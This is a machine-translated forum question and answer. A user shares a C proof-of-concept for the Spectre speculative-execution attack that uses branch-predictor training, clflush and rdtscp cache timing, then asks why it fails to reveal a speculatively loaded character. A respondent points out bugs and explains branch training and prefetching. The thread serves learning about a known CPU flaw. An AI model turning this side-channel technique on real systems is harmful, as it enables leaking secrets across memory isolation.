Ejecución especulativa de prueba de concepto (PoC) de Specter - Comprobación de valor

3

Inspirado por esta pregunta y basado en esto:

¿Por qué me ¿el sytsem no parcheado * parece * no ser vulnerable a Specter?

Averigué que abriré una nueva pregunta, en lugar de "contaminar" a otra persona con preguntas.

Escribí este código:

Se debe cargar especulativamente 'U' en la memoria caché de la CPU y, posteriormente, se prueba si se encontró allí, según los tiempos de lectura.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

#define CACHELINESIZE   4096
#define REP     100


void main(void)
{
    typedef char line[CACHELINESIZE];
    line A[512];

    // Initialise array to 'A'
    for(int i=0; i<512; i++)
    {
        for(int j=0; j<CACHELINESIZE; j++)
        {
            A[i][j]='A'; 
        }
    }


    // Flush address of i
    for (int i = 0; i < 512; i++)
    {
        _mm_clflush( & A[i]); /* intrinsic for clflush instruction */
    }

    char secret = 'U';
    char any = 'X';

    char* pcheck[REP];
    line* pwrite[REP];

    for(int i=0; i<REP; i++) {
        pcheck[i] = &any; 
        pwrite[i] = A; 
    }

    /*
    for(int i=0;i<REP;i++)
    {
        printf("pcheck: %c\n",*pcheck[i]);
        printf("pwrite: %s\n",*pwrite[i]);
    }
    */

    pcheck[REP-1] = &secret;
    pwrite[REP-1] = A+256;

    /*
    printf("pcheck:%c\n", *pcheck[REP-1]);
    printf("pwrite:%c\n", **pwrite[REP-1]);
    */

    char dummy;
    for(int i=0; i<REP; i++) {
        if (i != (REP-1)) {
            dummy = *pcheck[i];
        }
    }
    int t0,time_taken = 0;
    int junk = 0;

    char * val;
    int mix_i=0;

    int i,j;
    int aux,res;

    char RandomId[26];
    char ListId[26]={65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};



    srand(time(NULL));

    for(i=0; i<26; i++)
    {
        res = rand() % 26;
        aux = ListId[res];

        if (ListId[res] != -1)
        {
            RandomId[i] = aux;
            ListId[res] = -1;
        }
        else
            i--;
    }


    for(i=0; i<26; i++)
    {
        t0 = __rdtscp(&junk); 
        val = &A[256+RandomId[i]];
        time_taken = __rdtscp(&junk) - t0;
        printf("trying: %c time: %i\n",RandomId[i],time_taken);

    }
}

Ejecutando:

 ./spectre
trying: Z time: 103
trying: D time: 94
trying: A time: 95
trying: S time: 94
trying: W time: 93
trying: Y time: 98
trying: X time: 93
trying: N time: 94
trying: E time: 93
trying: H time: 93
trying: B time: 93
trying: O time: 93
trying: V time: 93
trying: L time: 93
trying: M time: 94
trying: G time: 93
trying: U time: 93
trying: Q time: 93
trying: I time: 93
trying: C time: 107
trying: R time: 94
trying: P time: 94
trying: T time: 93
trying: F time: 94
trying: K time: 324
trying: J time: 94

Por lo tanto, no puedo determinar con precisión qué hay en el caché de la CPU, ya que muchos tienen valores bajos similares.

¿Hay algún problema con este enfoque?

Funciona perfectamente en mi computadora portátil con esta versión:

enlace

¿Alguien ve la diferencia entre la versión anterior y la versión en esta publicación?

Lo compilé sin optimizaciones (gcc -O0)

Cargo especulativamente 'U'

Limpio el caché (clflush)

Más tarde mido los tiempos.

Lo ejecuté en un Core (tasket 0x1 ./spectre)

También agregué carga (stress -i NO_OF_CORES)

¿Ideas para alguien?

Actualización 1:

Pensé que se cargaría de forma especulativa aquí:

/*

The if evaluates to true 99 times in a row  and then once to false. Thus I assume that in the last run,
branch prediction is fooled into speculatively executing (but later abandoning) the assignment.

*/ 
  if (i != (REP-1)) {
    dummy = *pcheck[i];
  }
}

¿Entonces se asignará 'U' a un dummy, eso significa que debería estar en el caché de la CPU?

Actualización 2:

¿Esto debería ser suficiente? ¿Es eso lo que quieres decir?

char dummy = 0; //prevent optimization by compiler
for(int i=0; i<REP; i++) {
 if (i != (REP-1)) {
    dummy = *pcheck[i];
    A[256][256] = dummy;   
 }
}

Gracias,

Actualización 3:

¿Esto es correcto que?

for(int i=0; i<REP; i++) {
 if (i != (REP-1)) {
    dummy = *pcheck[i];
    A[256][i] = dummy;   
 }
}

Actualización 4:

¿También no debería hacerse el tiempo de esta manera?

volatile uint8_t * addr;
  for(i=0; i<26; i++)
  {
    mix_i = RandomId[i];
    addr = &A[256][10+mix_i];
    t0 = __rdtscp(&junk); 
    junk = *addr;
    time_taken = __rdtscp(&junk) - t0;
    printf("trying: %c time: %i\n",RandomId[i],time_taken);
  }
}
    
pregunta android_dev 16.01.2018 - 16:37
fuente

1 respuesta

1

No tengo acceso inmediato a una máquina no parcheada, por lo que a continuación se encuentran las observaciones del código. ¡Algo o todo puede estar mal! Además, un aviso para cualquier otra persona que pruebe esto en una máquina con Windows: ¡debe aumentar el límite de reserva de la pila!

El primer problema potencial que noté es

_mm_clflush( & A[i]); /* intrinsic for clflush instruction */

Está tomando la dirección de A [i]. Pero A [i] es de tipo line - "char line [CACHELINESIZE]" que ya es un puntero. Así que no estoy convencido de que estés limpiando la dirección correcta, sugeriría intentar "_mm_clflush (A [i])". Cambiar a esto en una máquina de Windows con parches aumenta los tiempos de acceso en un 80%.

¿Dónde se carga la página en A para U? A no se toca más que pwrite, no se usa hasta donde puedo ver. Y pwrite no se utiliza en ningún otro lugar que no sea donde se inicializa.

Todavía hay problemas menores más allá de eso, pero sugeriría solucionar los dos problemas principales mencionados anteriormente. Si todavía no funciona, hágamelo saber y seguiré buscando.

  

Sería genial si pudieras explicar la predicción de zancada y entrenar el concepto de rama.

La predicción de zancada es donde el sistema subyacente detecta un patrón en los datos que está solicitando y los selecciona previamente por usted. El sistema aquí podría ser hardware, sistema operativo o compilador.

es decir, si estuvieras haciendo -

for (auto i = 0; i < numPages; ++i) {
    DoSomethingWith(pages[i]);
}

El sistema puede notar el patrón y asegurarse de que ya tiene páginas [i] almacenadas en caché (búsqueda previa) antes de solicitar su uso. Como en este caso estamos intentando controlar manualmente el contenido de la memoria caché, no queremos que el sistema haga esto, por lo que queremos evitar cualquier patrón al acceder a los datos en A.

El entrenamiento de la rama está intentando controlar cómo se comporta el predictor de la rama. En este caso, queremos asegurarnos de que asuma que "i! = (REP-1)" es una rama verdadera cada vez, incluido el momento en que no lo es. Así que necesitamos repetir el mismo ejercicio en el que eso se evalúa como verdadero varias veces. Luego, debemos asegurarnos de que no haya cambios obvios cuando el estado se convierta en verdadero para hacer que el predictor de bifurcaciones se apague antes de tiempo, por lo que se supone que debe elegir la otra dirección.     

respondido por el Hector 17.01.2018 - 10:20
fuente

Lea otras preguntas en las etiquetas